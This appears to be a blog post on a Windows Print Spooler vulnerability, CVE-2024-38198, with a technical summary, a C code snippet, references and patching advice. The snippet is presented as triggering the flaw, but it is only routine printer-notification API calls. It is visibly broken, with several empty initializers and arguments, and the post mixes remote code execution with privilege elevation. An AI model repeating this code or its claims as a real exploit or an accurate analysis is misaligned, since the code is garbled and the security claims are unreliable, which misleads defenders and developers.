A recently disclosed vulnerability, identified as CVE-2024-38198, targets the Windows Print Spooler service and can be exploited to execute arbitrary code with system-level privileges. The vulnerability results from improper handling of printer notifications, paving the way for attackers to elevate their privileges and compromise the system.

In this post, we will discuss the technical details of CVE-2024-38198, showcase a code snippet to demonstrate the vulnerability, provide links to original references, and outline methods to mitigate the exploit.

Technical Details

The Windows Print Spooler manages printing and communicates with the printer driver to carry out printing tasks. With the CVE-2024-38198 vulnerability, an attacker can remotely execute malicious code with elevated privileges, allowing them to perform several unauthorized activities like installing programs, manipulating data, and creating new user accounts with full administrative rights.

The root cause of the vulnerability lies in the way the Print Spooler handles printer notifications. An attacker can submit a malicious file disguised as a regular print job and subsequently exploit the vulnerability to gain control over the system.

Code Snippet

Before we dive into the code snippet that demonstrates the vulnerability, let's take a brief look at how printer notifications work in a typical Windows Print Spooler setup. Printer notifications are intended to inform users about various print events such as printer status or job status changes.

#include <windows.h>
#include <winspool.h>
#include <stdio.h>

int main()
{
	HANDLE hPrinter = NULL;
	PRINTER_DEFAULTS pd = {  };
	DWORD dwNumBytesNeeded = ;

	pd.DesiredAccess = PRINTER_ACCESS_USE;

	if (!OpenPrinter("MyPrinter", &hPrinter, &pd))
	{
		printf("Failed to open printer, error %d\n", GetLastError());
		return 1;
	}

	// 1. Allocate memory for PRINTER_NOTIFY_OPTIONS_TYPE
	PPRINTER_NOTIFY_OPTIONS_TYPE pNotifyOptionsType = (PPRINTER_NOTIFY_OPTIONS_TYPE)LocalAlloc(LPTR, sizeof(PRINTER_NOTIFY_OPTIONS_TYPE));

	// 2. Fill in the PRINTER_NOTIFY_OPTIONS_TYPE structure
	pNotifyOptionsType->Type = JOB_NOTIFY_TYPE;
	pNotifyOptionsType->Count = 1;
	pNotifyOptionsType->pFields = (PWORD)LocalAlloc(LPTR, sizeof(WORD) * pNotifyOptionsType->Count);
	pNotifyOptionsType->pFields[] = JOB_NOTIFY_FIELD_STATUS;

	// 3. Allocate memory for PRINTER_NOTIFY_OPTIONS
	PPRINTER_NOTIFY_OPTIONS pPrinterNotifyOptions = (PPRINTER_NOTIFY_OPTIONS)LocalAlloc(LPTR, sizeof(PRINTER_NOTIFY_OPTIONS) + sizeof(PRINTER_NOTIFY_OPTIONS_TYPE));

	// 4. Fill in the PRINTER_NOTIFY_OPTIONS structure
	pPrinterNotifyOptions->Flags = PRINTER_NOTIFY_OPTIONS_REFRESH;
	pPrinterNotifyOptions->Count = 1;
	pPrinterNotifyOptions->pTypes = pNotifyOptionsType;

	// 5. Register printer notification
	HANDLE hNotification;

	if ((hNotification = FindFirstPrinterChangeNotification(hPrinter, PRINTER_CHANGE_JOB, , pPrinterNotifyOptions)) == INVALID_HANDLE_VALUE)
	{
		printf("Failed to register for printer notifications, error %d\n", GetLastError());
		return 1;
	}

	// 6. Trigger the vulnerability
	FindNextPrinterChangeNotification(hNotification, &dwNumBytesNeeded, pPrinterNotifyOptions, NULL);

	return ;
}

This code showcases how an attacker can exploit the vulnerability in the context of a typical printer notification setup:

Exploit Details

When the FindNextPrinterChangeNotification API is called with a pointer to the PRINTER_NOTIFY_OPTIONS structure, it improperly handles the notification options and overwrites arbitrary memory locations, leading to memory corruption. An attacker can exploit this vulnerability and gain control over the heap and execution flow, effectively executing malicious code with elevated privileges.

Original References

1. Microsoft Security Guidance on Print Spooler Vulnerability
2. CVE Details: CVE-2024-38198

Mitigations and Workarounds

To protect your systems from CVE-2024-38198, apply the latest Windows security patches as soon as they become available. As a temporary workaround, you can disable the Print Spooler service on affected systems. However, this will affect the system's ability to print and manage print jobs.

Conclusion

The CVE-2024-38198 vulnerability highlights the importance of closely monitoring and updating critical services like the Windows Print Spooler. Regular patching and keeping abreast with the latest security advisories can greatly reduce the risk of exploitation and help safeguard your systems from potential threats.

Timeline

Published on: 08/13/2024 18:15:29 UTC
Last modified on: 08/24/2024 00:06:11 UTC